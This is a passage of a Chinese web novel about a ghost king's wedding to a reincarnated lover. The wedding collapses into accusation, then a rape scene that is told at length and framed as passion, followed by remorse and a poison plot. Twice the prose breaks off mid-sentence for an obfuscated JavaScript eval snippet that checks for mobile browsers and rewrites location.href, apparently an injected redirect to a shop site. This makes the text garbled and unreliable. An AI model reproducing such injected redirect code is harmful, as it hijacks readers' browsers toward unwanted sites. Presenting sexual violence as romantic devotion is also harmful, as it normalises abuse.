云霁白盖着盖头,自然看不见那一切。 苍梧拿起麒麟刃,剜入自己的胸口,鲜红的血顺着刀飘出来,蜿蜒飘摇,细长的,鲜艳的,像血管。 像有灵魂那般直直飞向云霁白,轻轻缠上云霁白的小拇指。 整个过程虽然简单,但其中蕴含的意义却非同一般,这代表着鬼王与云霁白共生的关系,更代表着鬼界之主将自己的性命主动交到云霁白手上,生死皆由云霁白掌管。 与其说是婚礼,不如说是献祭。 一千年了,婚礼终于顺利完成,鬼界等来第二个主人,孤独了万载的灵魂有了依靠。 就在他们相对转身,即将弯下腰身的这一刹那—— 一阵不知从何而来的阴风吹入了大殿,恰好掀起了盖头的一角。 盖头飞扬而起,云霁白的视线瞬间开阔。他本能地抬眼,目光越过苍梧的肩膀,望向那密密麻麻、静默观礼的游魂深处—— 然后,他的呼吸停滞了。 在那影影绰绰、半透明的游魂之中,他看到了两道无比熟悉的身影! 他的父亲和母亲。 他们穿着离世时的衣服,面色惨白,眼神空洞,身形如同青烟般飘忽不定,正静静地站在群鬼之中,无声地注视着这场婚礼。 他们还穿着他离开家时的衣服。 安然无恙? 在人间? 苍梧的承诺言犹在耳,水镜中的画面历历在目!原来,全都是谎言!全都是骗他的。 巨大的震惊、被欺骗的愤怒、以及失去至亲的悲痛,轰然爆发,瞬间淹灭了他所有的理智。 云霁白猛地扯下那碍事的盖头,甩在地上,华美的凤冠因他动作发出叮叮当当的声音。他脸色煞白,嘴唇颤抖,眼睛死死盯住苍梧,里面是滔天的怒火与不敢置信的绝望。 “苍梧!”他从齿缝里挤出这两个字,声音嘶哑破裂,响彻了整个寂静的大殿:“你骗我!!!” “你告诉我他们安然无恙!你用水镜给我看!!” “那他们现在为什么会在这里?!” “你告诉我啊!!!” 最后一句歇斯底里的怒吼,他指着游魂中父母那虚幻的身影,整个人开始摇摇欲坠。 刚刚的喜庆氛围瞬间荡然无存,取而代之的是一片死寂。阴风吹乱了小鬼们脸上贴着的囍字 ,所有观礼的鬼臣、游魂都僵住了,连礼乐都戛然而止。 他们奇怪的看着鬼王与鬼后,似乎在艰难的消化着现在发生的一切,原来鬼王和鬼后的感情并不像看起来的那般美好。 一直刻意营造的甜蜜与幸福瞬间被撕碎,并狠狠删了苍梧两个大耳刮子,他脸上的温柔与喜悦瞬间凝固。 他看着云霁白眼中的恨意与痛苦,紫眸中闪过一丝极其复杂的情绪。 他道:“阿渊,本王……” “别过来!”云霁白猛地后退一步,仿佛他是世间最可怕的毒蛇猛兽,泪水终于决堤,混合着无尽的失望与心碎,“解释?你还要怎么解释?!还要继续欺骗我吗?!” 拇指上的红线无声飘摇,他只觉得心如刀绞,整个世界都在眼前崩塌。 “为什么……为什么要这样骗我……”他的声音低了下来,充满了伤心与绝望,“为什么要骗我,为什么要骗我,我明明已经很听话了……” 盖头飘落在地,千年前没能成婚,千年后依旧没有进行到最后。盛大的婚礼,瞬间沦为一场彻头彻尾的悲剧与笑话。 苍梧站在他对面,喜服在幽暗光线下显得无比沉重:“本王从未骗你,本王没有对他们动手 ,本王也在查杀他们的凶手。” 短短的三句话在那两个游魂面前显得无力又可笑。他也不知道怎么也找不到的游魂为何会突然出现在这里,这实在是太巧了,巧到像一场预谋。 “你骗我!!!” 云霁白的嘶吼声撕裂了大婚的喜庆,他眼眶赤红,指着游魂中父母的身影,浑身都在发抖。 “你没有对他们动手,那是什么?你告诉我那是什么!?难道他们是自己自杀的吗!?” “为什么要骗我!为什么一次又一次骗我!是怕没有威胁我的把柄吗?” 他一步步后退,避开苍梧伸来的手,眼神里是锥心的痛苦。 “我以后再也不会相信你了。” “再也不会!” 苍梧的手僵在半空中,指尖微微颤动。 刚刚完成的血契仪式,那根以他心头精血凝结而成的红线,此刻连接着两人的灵魂。他能无比清晰地感知到,从红线另一端传来的情绪——悲伤,愤怒,失望…… 两个人的情绪在他灵魂深处撕扯,让他濒临失控的边缘。 “云霁白!”他声音陡然拔高,带着雷霆之威,震得殿内鬼火摇曳,“在你眼里,本王就是这么无情无义、满口谎言、连你至亲都要算计的恶鬼?!” 此时此刻,他也分不清是自己得心更痛,还是云霁白的心更痛。 云霁白已被愤怒和悲伤冲昏了头脑,闻言更是口不择言,泪水和决绝的话语狠狠砸下:“是!我就是不信你!你这个冷血无情的鬼!是我鬼迷心窍了才会信你的鬼话!连活人都敢杀,你眼里还有没有天道!你还有什么做不出来的?!你就活该被迫亲手杀死你最爱的人!” 最后这句话,就像一把钝刀,狠狠地豁开了苍梧心底那道从未愈合、日夜渗血的伤疤。 他曾向林中那些小鸟保证过,要护凤渊周全,纵使与三界为敌也在所不惜。 结果,那柄穿透他心爱之人胸膛的利刃,是出自他之手——千百年来,这件事一直是他心中一根刺,日日夜夜凌虐着他。 他更没想到,这句伤人的话竟是从云霁白口中说出。谁都可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908451|192422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以责怪他,谩骂他,唯有云霁白不可以。 不是不可以责怪,而是他害怕云霁白的责怪,害怕云霁白因此仇恨他,抛弃他。 “你说什么!?”苍梧的声音陡然变了调,紫眸深处情绪碎裂,脑子里涌出无数个疯狂的念头,他要做点什么,必须做点什么,才能证明云霁白属于自己,才能证明自己完完全全拥有云霁白。 云霁白继续道:“你活该一个人,活该没有人爱,活该亲手杀死你最爱的人。” “你个无情无义的恶鬼。我是凤渊的转世又怎样?我也不会爱你,我就是死也不会跟你在一起。”云霁白冷笑一声,可是另一种痛却从心底蔓延开来,针扎似的,密密麻麻的痛苦。 他的心为什么会那么痛? 他的身体为什么会背叛他的意愿。 为什么…… 伤人的话变成利刃,捅向两个人。 说的人不好受,听的人更不好受。 “好!好!好!”苍梧连说三个好字,每一个字都像是从牙缝里挤出来的,周身的鬼气再也压制不住,轰然爆发,将整个寝殿笼罩在一片令人窒息的黑暗中! 他猛地逼近,一把攥住云霁白挣扎的手腕,力道之大,几乎要捏碎他的骨头。紫眸中翻涌着骇人的风暴,是怒火,是占有欲,更是被逼到绝境的疯狂。 “你就是这么看本王的?”苍梧的声音低沉得可怕,带着一种玉石俱焚般的狠绝,“在你眼里本王就是那样的恶鬼?!” 他不由分说,猛地将人打横抱起,鬼气呼啸着卷起两人,瞬间消失在原地,只留下满地狼藉和一群呆若木鸡的鬼客。 那方盖头孤零零地躺在地上,深沉的黑色,此刻显得格外刺眼。 寝殿内,重重结界落下,将内外隔绝成两个世界。苍梧任凭云霁白的拳头和怒骂落在身上,径直走向那张铺着玄色锦被的婚床。 “苍梧!你放开我!你要干什么?!”云霁白预感到将要发生什么,疯狂挣扎着。 被冤枉的恼怒,混合天生的偏执与占有欲,瞬间冲垮了苍梧的理智。 “云霁白!”苍梧狠狠攥住云霁白纤细的手腕,力道大得几乎要捏碎他的骨头,声音冰冷刺骨,带着讥讽,“你既然如此认定是本王做的在你心里本王就是如此不堪,言而无信连两个凡人都不放过,那本王就做给你看。” “除了你还有谁!!”云霁白用力挣扎着,泪水模糊了视线,“只有你会用他们威胁我!只有你!!” “好!好!”苍梧怒极反笑,他猛地将云霁白拦腰抱起,毫不怜惜地扔在铺着大红锦被的床榻上。 云霁白惊呼一声,挣扎着想要起身。 苍梧俯身压下,用身体的重量轻易制住了他所有的反抗。他一只手牢牢扣住云霁白的双腕按在头顶,另一只手粗暴地抓住嫁衣的领口,猛地一撕! 锦缎撕裂的声音在寂静的殿内格外刺耳。墨色的嫁衣被粗暴地扯开,露出里面白色的中衣和圆润的肩头。 “那你便好好看着!”苍梧的眼眸深处翻涌着怒火,他低头,冰冷的唇带着惩罚意味,重重地落在云霁白的颈侧,留下暧昧刺眼的痕迹,“看看你这般忤逆本王,不相信本王,会得到怎样的‘惩罚’!” “放开我!苍梧!你这个混蛋!我恨你!我恨你!”云霁白拼命地扭动身体,双腿乱蹬,哭喊着,咒骂着。恐惧、悲痛、愤怒和被欺骗的绝望,几乎要将他的灵魂撕裂。 然而,他的力量在苍梧面前,如同蜉蝣撼树。 苍梧无视他的哭喊和挣扎,用近乎残忍的力气撕开他剩余的衣物,冰冷的指尖在他温热的肌肤上留下战栗的触感。他封住了他那张不断吐出恨意和咒骂的唇,给了他一个带着血腥味的充满掠夺和惩罚的吻。 云霁白起初还在剧烈地反抗,指甲在苍梧背上抓出血痕,牙齿咬破了他的唇瓣。但渐渐地,力气在绝望中流逝,挣扎变成了无力的颤抖。 当撕裂般的剧痛传来的那一刻,他猛地睁大了眼睛,所有的声音都卡在了喉咙里,只剩下破碎的呜咽。泪水无声地汹涌而出,顺着鬓角滑落,浸湿了鸳鸯戏水的枕头。 他不再挣扎,像一具失去生气的玩偶,任由身上的人索取、占有。 眼神空洞地望着殿顶摇曳的鬼火,那里面,倒映着父母奄奄一息的游魂,和他再无光亮的世界。 苍梧在暴怒与占有欲的驱使下,完成了这场如同献祭般的结合。当他宣泄完毕,理智稍稍回笼,看到身下人那副破碎麻木、眼神死寂的模样时,心中猛地一揪。 他伸出手,想去擦他脸上的泪,却被云霁白猛地偏头躲开。 那无声的抗拒,比任何咒骂都更让苍梧烦躁。 他俯视着身下伤痕累累毫无生气的人儿,紫眸中是疯狂与偏执。 他的声音贴着云霁白的耳廓,冰冷而残忍。 “云霁白。” “爱和恨本王总要得到一个吧?” 带着惩罚意味的不容拒绝的吻再次落下,封堵了所有未尽的斥责与哭泣。 红烛帐暖,映照着的却是一场爱恨无休的纠缠。 反抗是徒劳的。 一场本该充满温情与誓言的洞房花烛,演变成了一场单方面的征服与惩罚。 强势的占有,带着怒火,带着痛楚,也带着试图通过这种方式来确认归属感的疯狂。 云霁白起初还有挣扎、痛骂,到最后,只剩下破碎的哽咽和空洞的眼神。他望着殿顶摇曳的鬼火,只觉得身心俱冷,仿佛坠入了无间地狱。 他闭上眼,不再看他。 爱与恨,信与疑,在这一夜,被彻底搅成了混沌的带着血腥气的泥沼。 苍梧看着他紧闭的双眸和脸上干涸的泪痕,心中的怒火变成更深的刺痛与绝望。 他用最错误的方式,将彼此推向了更深的深渊。 22. 难堪 快见天明,狂暴的宣泄终于停止。 寝殿里只剩下压抑的断断续续的抽泣声。 云霁白蜷缩在床榻最里侧,玄色的锦被凌乱地遮挡住大部分身躯,却遮不住那细微的、无法自控的颤抖。 他将脸深深埋入被褥中,试图隔绝一切,包括身后那个刚刚对他施加了暴行的存在。裸露在外的肩头白皙皮肤上,清晰的指痕与暧昧红痕交错,触目惊心,昭示着方才的激烈与失控。 他没有再嘶吼,也没有质问,只是像一只受伤的小兽,躲在自以为安全的角落,独自舔舐着鲜血淋漓的伤口。 压抑的呜咽,比任何哭喊都更让人心碎。 苍梧白发凌乱站在床榻边,背对着他,玄色的喜服衣襟微敞,露出带着指甲划痕的苍白胸膛。殿内幽蓝的鬼火跳跃着,照着他紧绷的侧脸线条和紧握的双拳,指节因过度用力而泛出青白色。 寝殿内死寂一片,唯有云霁白那破碎的呼吸声,如同细针,一下下扎在苍梧的心上。 他胸腔里足够毁灭一切的怒火,早已在云霁白最后那空洞麻木的眼神中熄灭,取而代之的,是悔恨与自我厌恶。 他做了什么? 他对他视若珍宝,愿以半身修为和半条命换回的人,做了什么? 用最不堪的方式,强行占有了他,在他最痛苦最难过的时候,给了他最沉重的一击,将他眼中最后一点光亮亲手掐灭。 “在你眼里,我就这么不可信吗?” 他当时为什么会问出那样的话?是被那全然不信任的眼神刺痛,是被那句“活该亲手杀死最爱的人”激怒。可他明明,明明只是想云霁白留在他身边。 为什么就是不能相信我呢。 “无情无义……”苍梧在心底麻木的重复着这四个字,唇角勾起一抹苦涩到极致的弧度。是啊,他就是个无情无义,心狠毒辣的恶鬼,被愤怒和占有欲操控,做出了无可挽回的蠢事。 明明这件事有更好的处理方式,偏偏他选择了最愚蠢的方式。 他只是,只是太害怕了,害怕云霁白厌恶的眼神,害怕云霁白会随时远离自己。 苍梧能感受到身后那具身躯的颤抖,能听到强忍的哽咽。云霁白发出的每一丝哽咽,都是对自己的凌迟。 他想转身,想将他拥入怀中,想告诉他真相,想抹去他所有的痛苦和眼泪…… 可他不敢。 他怕看到那双银眸中更深的恨意与恐惧,怕自己的触碰会引来他更剧烈的抗拒和恶心。 更怕自己会因患得患失而陷入某种失控的暴怒,就像昨夜一样。 他甚至连一句“对不起”都说不出口。在这铁一般的事实面前,任何言语都显得苍白无力。 是他,亲手将可能缓和的关系,推入了万劫不复的深渊。 苍梧缓缓闭上眼,紫眸中被无尽的痛楚与孤独淹没。他独自站立在这片由他制造的狼藉之中,周身散发着比幽冥深渊更冷的寂寥。 他赢了么? 用暴力证明了拥有? 不,他输了,输得一败涂地。他失去了云霁白可能重新给予的信任,将他推得更远。 良久,他终究还是没有勇气回头。 只是哑声开口,带着一丝几乎无法察觉的颤抖,打破了这令人窒息的沉默:“……休息吧。” 说完这句干涩的话,他像是无法再在这空间里多停留一刻,身形一闪,便已消失在寝殿之内。只留下满室冰冷的寂静,和那个依旧在黑暗中瑟瑟发抖,心如死灰的云霁白。 厚重的殿门隔绝了内外。 门外,苍梧靠在冰冷的墙壁上,仰起头,紫眸望昏暗的穹顶,垂在身侧的手紧握成拳,指甲深深陷入血肉,鲜血顺着指缝流出,却感觉不到丝毫疼痛。 嘀嗒嘀嗒。 冰凉的血堆积在地上。 门内,云霁白将自己蜷缩得更紧,泪水无声地浸湿了软枕。 一扇门就像无法逾越的鸿沟,将两个曾相爱的人彻底分开来。不知道过了多久,苍梧回神,眼中掠过冰冷的杀意。 “若影。”他唤。 “属下在,大人有什么吩咐。”若影提着魂灯迅速出现在苍梧面前,恭恭敬敬单膝跪地,低着头不敢直视苍梧。 魂灯落在地上无声跳跃着。 苍梧道:“七天前,本王就吩咐你们找人。七天,整整七天,本王连个鬼影都没见到!你们是怎么办事的?阎罗殿养你们何用?” 若影道:“王,请息怒。小的已经派人去查了。这七天小的一直都在派人寻找鬼后的父母,将个鬼界都翻了底朝天,确实没有寻见鬼后的父母。” “昨日他们出现,小的也觉得意外,更觉得可疑。鬼界没有身影,整整七日没有找到,偏偏在鬼王大婚时出现,惹得鬼后伤心欲绝……这一切实在太凑巧了,定是有人在背后操纵,否则以他们的魂力,根本不足以躲避我们的寻找。” 苍梧道:“一群废物。他们现在在哪?” 若影道:“人已经找到。只是……他们魂力微弱,靠安魂炉吊着一口气。” 他们死于非命,再加上轮回次数太多,魂力本就虚弱,此刻魂魄更加虚弱,犹如一张白纸,若不是安魂炉,恐怕就要魂飞魄散了。 苍梧道:“救,不惜一切代价也要把他们的魂留下!一切后果本王承担。” 若影也没把握能救活他们的灵魂,只是鬼王已经发话,不得不硬着头皮应下:“属下,遵命。” 苍梧锐利的目光穿过鬼界上方乌云密布的天空,仿佛看见此刻,天上的神仙正暗中观察着鬼界的闹剧,甚至正密谋着下一步动作。 沉重的殿门被无声地推开一道缝,若辰端着托盘,小心翼翼地探进头。殿内一片死寂,光线昏暗,他适应了一会儿,才看清床榻上那个几乎要蜷缩进墙角的身影。 云霁白背对着他,单薄的里衣松垮地挂着,露出颈后斑驳的痕迹,整个人一动不动,像没有生气的玉雕,抑制不住的极轻的颤动的肩头暴露了他并未入睡。 若辰的心揪了一下。他屏住呼吸,放轻脚步走过去,将托盘轻轻放在床边小桌上。托盘里是氤氲着淡淡灵气的魄,还有一小碟看起来甜腻腻、鬼界厨子难得仿照人间式样做的点心。 他张了张嘴,那张惯于执行命令的脸上写满了无措。安慰人……尤其是安慰这位身份特殊、正与鬼王闹得不可开交的鬼后,实在超出他的能力。 “鬼后……”若辰憋了半天,干巴巴地开口,因紧张有点失声,“您要不要吃点东西?” 床榻上的身影毫无反应。 若辰更慌了,搓搓手,又拿起那碟点心往前递:“还、还有这个,听说人间……人间的人都喜欢甜的,吃了心情会好点……” 依旧是死寂。 若辰额角几乎冒汗。他看着云霁白仿佛一碰即碎的背影,想起苍梧离开时冰冷却沉郁的侧脸,心里叹气。 他笨,不会说话,但他不瞎。 沉默片刻,他不再试图说话,而是默默收拾起凌乱的寝殿。拾起掉落的纱幔挂好,扶正翻倒的摆件,动作轻柔,尽量不发出声响,仿佛想通过这种方式,将这片被风暴肆虐过的房间恢复原来的温馨,驱散那令人窒息的压抑。 收拾完,他站回床边,看着一口未动的魄,犹豫了一下,开始胡编乱造:“鬼后,虽然小的不知道您在卷轴里看见了什么,但是小的可以向您保证,鬼王大人绝对没有杀害您的父母。” “当时,鬼王大人在同仙界的人议事,根本没时间去人间杀害您的父母。更何况,鬼若杀人,可是要受天罚的。” 云霁白猛地从床上坐起来,猩红的眼睛看向若辰,一字一句追问:“保证?你一个籍籍无名的小鬼拿什么保证?用你那不值钱的小命吗?你当时明明跟我在一起,你怎么知道苍梧有没有去人间!?” 面对云霁白毫不留情的诘问,若辰没由来的伤心,手中的魂灯暗淡了几分,他低着头小声说:“我虽然贱命一条,但我分的清是非。我跟在大王身边一千年,这一千年中,鬼王大人是怎么对您的我都看在眼里,他真的很喜欢您,从未做过伤害您的事。况且,您已经在他身边了,他再杀害您的父母岂不是多此一举吗? 云霁白冷哼一声:“你是他养在身边的一条狗,你自然会帮他说话。” 若辰呆了好久好久,最终只是低声嗫嚅:“您别太伤心,伤身体。有什么需要的,随时唤我,我先离开了。” 说完,像完成极艰难的任务,悄悄松口气,又担忧地看了眼那纹丝不动的背影,这才轻手轻脚退出去,仔细掩好殿门。 门合上的那一瞬间,若辰空白的脸上落下两行泪。 守在门外的若影看着他:“怎么还哭了呢?” 若辰摆弄着自己的魂灯,极其小声问:“经过轮回,样子变了,性格变了,一切都变了,那还是鬼后吗?” 若影反问:“为什么不是?是同一个灵魂,只是记忆不同而已。” 若辰还是很伤心:“好吧。” 殿内重归寂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908452|192422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静。 许久,云霁白才极慢地动了一下,眼睛空洞地扫过床头小桌上已经凉掉的的点心。点心旁还放着一朵不知若从何处摘来的、开得正艳的彼岸花,殷红如血,在这灰暗寝殿中,刺眼又突兀。 他没有碰任何东西,只是缓缓闭上眼睛,将自己重新融入冰冷的黑暗。但空气中,似乎残留了一丝笨拙却无恶意的关心,微弱如风中蛛丝。 殿门合拢的声音很轻,却像最后一根稻草,压垮了云霁白强撑的意志。他依旧维持着蜷缩的姿势,仿佛这样就能获得可怜无几的安全感。若辰留下的点心和那朵刺目的彼岸花,他连一眼都不愿再看。 身体的疼痛清晰传来,每一处被粗暴对待过的痕迹都在叫嚣着,提醒着他刚刚经历了怎样不堪的一切。 但比身体更痛的,是心。 没由来的痛,以及失去双亲的难受。 “好好的活着……”他无声地重复着这句话,唇角扯出一个比哭还难看的弧度。 他竟然会对一个执掌鬼界、视规则如空气的鬼王抱有天真的期待。 泪水早已流干,只剩下空洞的麻木。他不知道自己接下来该怎么办,还能相信谁。父母的魂魄就在这鬼界之中,他却连靠近的勇气都没有——他该如何面对他们?告诉他们,他们的儿子不仅没能保护他们,还愚蠢地和仇人成了亲? 这个念头让他一阵反胃,胃里翻江倒海,他猛地干呕起来,却什么也吐不出来,只有生理性的泪水再次模糊了视线。 一件事,折磨着两个人。 一个不知道该不该信,一个不知道如何靠近。 苍梧背对着殿门,身影挺拔却透着孤寂。他面前悬浮着一面水镜,镜中清晰地映出寝殿内的景象——那个蜷缩在床角,因为干呕而微微颤抖的身影。 他看着云霁白空洞的眼神,看着他下意识避开伤口的细微动作,看着他连哭泣都只能压抑着声音的绝望。 苍梧的紫眸深处尽是悔恨与自我厌弃。 “鬼王大人,”若辰的声音在身后响起,带着小心翼翼,“鬼后情绪尚未稳定,仍不肯食用任何东西。” 苍梧挥了挥手,水镜波纹荡漾,景象消失。他没有转身,声音冷硬:“知道了,下去。” 若辰犹豫了一下,还是低声道:“鬼不是没有心吗?为什么我听见鬼后的话胸口会那么疼呢……” “不知道,”苍梧打断他,语气不容置疑,却也听不出什么情绪,“下去吧。” 若辰不敢再多言,躬身退下。 偏殿内再次只剩下苍梧一人。 他缓缓抬手,揉了揉眉心,心里积压着难以消散的疲惫与烦躁,悔意如同毒藤,紧紧缠绕着他的心脏,越收越紧。 本王跟一个失忆的人计较什么呢。 苍梧啊苍梧,你真可笑。 可他同样愤怒。 愤怒云霁白的不信任,愤怒那幕后黑手的算计,更愤怒失控的自己。 他知道自己应该去道歉,去解释,去弥补。可骄傲与一种害怕被再次推开、再次被那种用憎恨眼神看待的恐惧,将他牢牢钉在原地。 他该怎么做? 难道要他承认,他用了最愚蠢、最伤人的方式,只是因为他害怕失去?害怕那双漂亮的眼睛中,再也容不下他分毫? 这种软弱的念头让苍梧感到一阵羞耻。 他是鬼王,统御万鬼,何曾需要如此小心翼翼。 想起那双流泪的眼睛,苍梧心里就一阵阵抽痛。 阿渊,本王不是有意伤害你。 本王只是……只是爱你爱得不知道如何是好了……本王错了,本王要爱不要恨。 那曾高昂的头颅,此刻终于低垂。 不是屈服于命运或强权,而是心甘情愿地,为自己筑起一座以爱为名的囚笼。 高傲的王,自此愿俯首称臣,成为爱的囚徒。 他再次看向寝殿的方向,目光仿佛能穿透重重墙壁看见正在自我舔舐伤口的云霁白。 他知道,裂痕已经造成,信任的崩塌或许只在瞬息之间,但重建却可能需要漫长到令人绝望的时间。 而他亲手将走向云霁白的路种满了荆棘。 寝殿内,云霁白终于停止了干呕,精疲力尽地瘫软下去,意识在疲惫与痛苦的双重折磨下,渐渐模糊,坠入了并不安稳的,充满梦魇的昏睡之中。 一个不再信,一个不敢靠近。 两个本该相拥的灵魂,在各自筑起的堡垒里,渐渐走散了。 23.绝境 云霁白昏昏沉沉地不知睡了多久,再次醒来时,身体的疼痛似乎减轻了些,但心口的空洞却愈发扩大。他依旧蜷缩在床榻里侧,像一只浑身是伤被人遗弃的小兽,连呼吸都轻得几乎听不见。 殿门再次被轻轻推开,若辰端着新的点心,犹犹豫豫地走进来。他看着云霁白比昨日更加苍白憔悴的侧脸,以及桌上一口未动的食物,心中就疼得厉害。 “鬼后,”若辰将托盘放下,搓了搓手,像是下定了某种决心,声音虽轻却异常清晰,“您还是吃一些东西吧。” 云霁白长长的睫毛颤动了一下,却没有转身。 若辰深吸一口气,继续道:“我知道您恨鬼王,更想报仇。但是报仇也要有力气啊,不吃东西,连拿剑的力气都没有,还怎么报仇呢。” 闻言,云霁白缓缓转过身,眼中闪过嘲讽:“我和他力量悬殊,即使有力气拿剑,也未必有机会刺进苍梧的胸膛。” 若辰胡言乱语:“那就下毒,听闻鬼界有一种奇毒无比的剧毒,只对鬼管用,吃了他三日之内必定毒发身亡。” 云霁白半信半疑看着若辰,这个鬼有那么好心?会帮自己对付苍梧。 见云霁白态度有所松懈,若辰硬着头皮诱哄:“鬼后先吃东西,然后我给您毒药好不好……” 云霁白闻言笑了:“你费尽心思就是为了让我吃东西?” 若辰诚恳的点点头。 云霁白道:“你蠢吗?我那么对你,你还费尽心思讨好我。” 若辰道:“我只是想让您开心一些,这样我就不会难过了。” 云霁白一愣,良久,缓缓从床上坐了起来,看着若辰,觉得他说的话有些可笑,像没有由来的卑微讨好:“你难过什么。” 若辰摇头:“小的也不知道,兴许鬼后开心了我就知道了。” 云霁白哦了一声,他是个非常容易心软的人,这一点千年没变:“对不起,那天我不是有意说难听的话伤你。” 若辰道:“没关系的,您解气就好。” “傻子。” 云霁白下了床,终于吃了一口饭。 那口饭咽下,带着久未进食的滞涩感,却也给胃里带来一丝微弱的暖意。 云霁白垂着眼眸,沉默地、一小口一小口地吃着若辰端的点心。味道是陌生的,属于鬼界的甜腻,并不算可口,但他吃得很认真。 若辰安静地站在一旁,魂灯的光芒随着他情绪的平复而稳定下来,散发着柔和的幽光。他看着云霁白肯吃东西,心里那块沉甸甸的大石头仿佛被挪开了一点,空白的脸上甚至努力挤出一个有些僵硬的、但绝对是善意的笑容。 “傻子。”云霁白又低低说了一句,这次的声音里,少了几分嘲讽,多了几分难以言喻的复杂。 若辰只是憨憨地笑了笑,没反驳。 待云霁白吃得差不多了,若辰才小声开口:“鬼后,您还要毒药吗?” 云霁白动作一顿,抬眸看他,眸中情绪难辨:“你真有?” 若辰老实巴交地摇头:“没有。鬼王大人百毒不侵,寻常毒物对他无用。厉害的小的也弄不到。”他顿了顿,声音更低了,“而且小的也不想伤害鬼王大人。” 意料之中的回答。 云霁白扯了扯嘴角,不知是失望还是释然。他放下筷子,目光看向窗外,天是漫无边际的昏暗:“那你为何要那么说?” “因为小的想让您活着。”若辰低下头,有些局促,“活着才有以后。死了,就真的什么都没有了。仇恨也好,别的什么也好,总得活着才能去想。” 活着…… 云霁白在心中默念这两个字。 他觉得活着已是煎熬,每一口呼吸都带着看见父母魂飞魄散时的绝望和苍梧给予的屈辱。可若辰这笨拙的、甚至有些愚蠢的坚持,却像是一点不起眼的光芒,在他不断下坠的深渊里,提供了生还的希望。 他复仇的希望渺茫如星火,离开的可能更是微乎其微。但若辰说得对,死了,就真的结束了。 他连恨的资格都会失去。 良久,云霁白极轻地吐出一口气,仿佛将胸腔里积压的某些冰冷的东西也吐出去些许。 “以后……”他喃喃道,眸中那片死寂的冰冷,似乎裂开一道微不可查的缝隙。 他看向若辰,第一次如此清晰地看到这小鬼魂火中闪烁的担忧与恳切。或许在这冰冷的鬼界,也并非全是黑暗。 “点心,”他忽然开口,声音依旧沙哑,“明天……换一种吧。这个不好吃。” 若辰愣了一下,随即魂灯咻地亮了一瞬,连忙点头:“是!小的记下了!明天就换!鬼后您还想吃什么?小的去想办法!” 看着他瞬间雀跃起来的样子,云霁白没有回答,只是重新躺了回去,背对着他,但周身冷硬的坚冰,似乎融化了一角。 若辰轻手轻脚地收拾好碗碟,退了出去。殿门合上时,他回头看了一眼床榻上那道依旧孤寂,却不再绝望的背影,心里默默想着:明天,一定要找到更好吃的点心! 殿内重归寂静。 云霁白闭上眼。 活着。 为了那渺茫的以后,为了心底那簇未曾完全熄灭的、名为不甘的火焰。 他得活着。 而远在幽冥殿深处的苍梧,透过水镜看到云霁白终于肯进食,紧绷的情绪终于有了一丝松懈。紫眸深处翻涌的暴戾与痛楚之下,一丝微弱的、连他自己都未曾察觉的希冀悄然萌生。 只要云霁白还在,哪怕是在恨着他,于苍梧而言,这无边漫长的生命,便不算全然荒芜。 苍梧的目光掠过镜中云霁白依旧苍白的侧脸,落在一旁恭立的若辰身上,声音听不出情绪:“若辰,把这毒药给他。” 若辰猛地抬头,魂灯剧颤:“大人,万万不可啊!这毒药可是致命之毒,鬼吃了会死的!” 这是鬼界最恶毒的毒药,无药可解。低阶游魂吃了直接魂飞魄散,等级高的鬼吃了不仅会死,还要忍受三日的锥心刺骨之痛。 鬼王这是用命哄人啊。 苍梧的视线仍停留在水镜上,声音低沉而平静:“你给了他希望,就不要让他失望。” “他若觉得杀了我会开心,那就让他杀了我。” “他递来的,就算是毒……”苍梧微微合眼,再睁开时,眼眸深如寒潭,“本王也甘之若饴。” “大人!不可啊!” 若辰急得魂体都在波动,“您何不……何不将实情告知鬼后?告诉鬼后他的父母还有可能活着。” “可能?” 苍梧打断他,声音陡然转冷,带着一丝压抑的涩然,“安魂炉中的魂魄尚未稳定,生死未知。此刻告诉他,不过是徒增牵挂。若最终救不回来……他会白高兴一场……” 他停顿了片刻,“还不如,就让他一直恨着我。恨,至少能让他活下去。” “大人……” 若辰的声音已带上了哽咽,这些话,让他想起百年前,他问鬼王,为什么非鬼后不可。 鬼王说,本王是一界之主,所有人都知道本王强大,唯有他会心疼本王。被人心疼的滋味真的太美妙了,疯狂的让人上瘾,只要有一次,就会想要第二次,第三次……甚至更多。 可是现在,鬼后还会心疼鬼王吗? 苍梧背过身,挥了挥手,玄色衣袖划开一道决绝的弧度:“去吧。” 殿门缓缓合上,隔绝了外界的一切声响,苍梧独自伫立在水镜前,目光重新落回云霁白的身影上。他抬手,指尖轻轻抚过镜面,仿佛想要触碰遥不可及的温度,却只触到一片冰凉。 “犯了错的人,”他低声呢喃,声音温柔得近乎缱绻,与方才的决绝判若两人,“总要想尽一切办法弥补……” 退无可退,进也无路。 他只能用这种决绝的方式靠近他的小凤凰。 而此刻的云霁白,正坐在窗边,指尖摩挲着若辰送来的毒药。 药瓶冰凉,带着一丝若有若无的腥气,让他下意识地蹙眉。可是一想到若辰说这个毒药无药可解,是鬼界最毒的药,苍梧服下必定会神魂俱灭,复仇快意与紧张颤栗的兴奋便难以抑制地从心底窜起。 他该如何让苍梧心甘情愿地服下? 思绪纷乱间,紧张得手心都沁出了薄汗。 余光瞥见桌上的魄,云霁白手忙脚乱将毒药倒了上去。 就 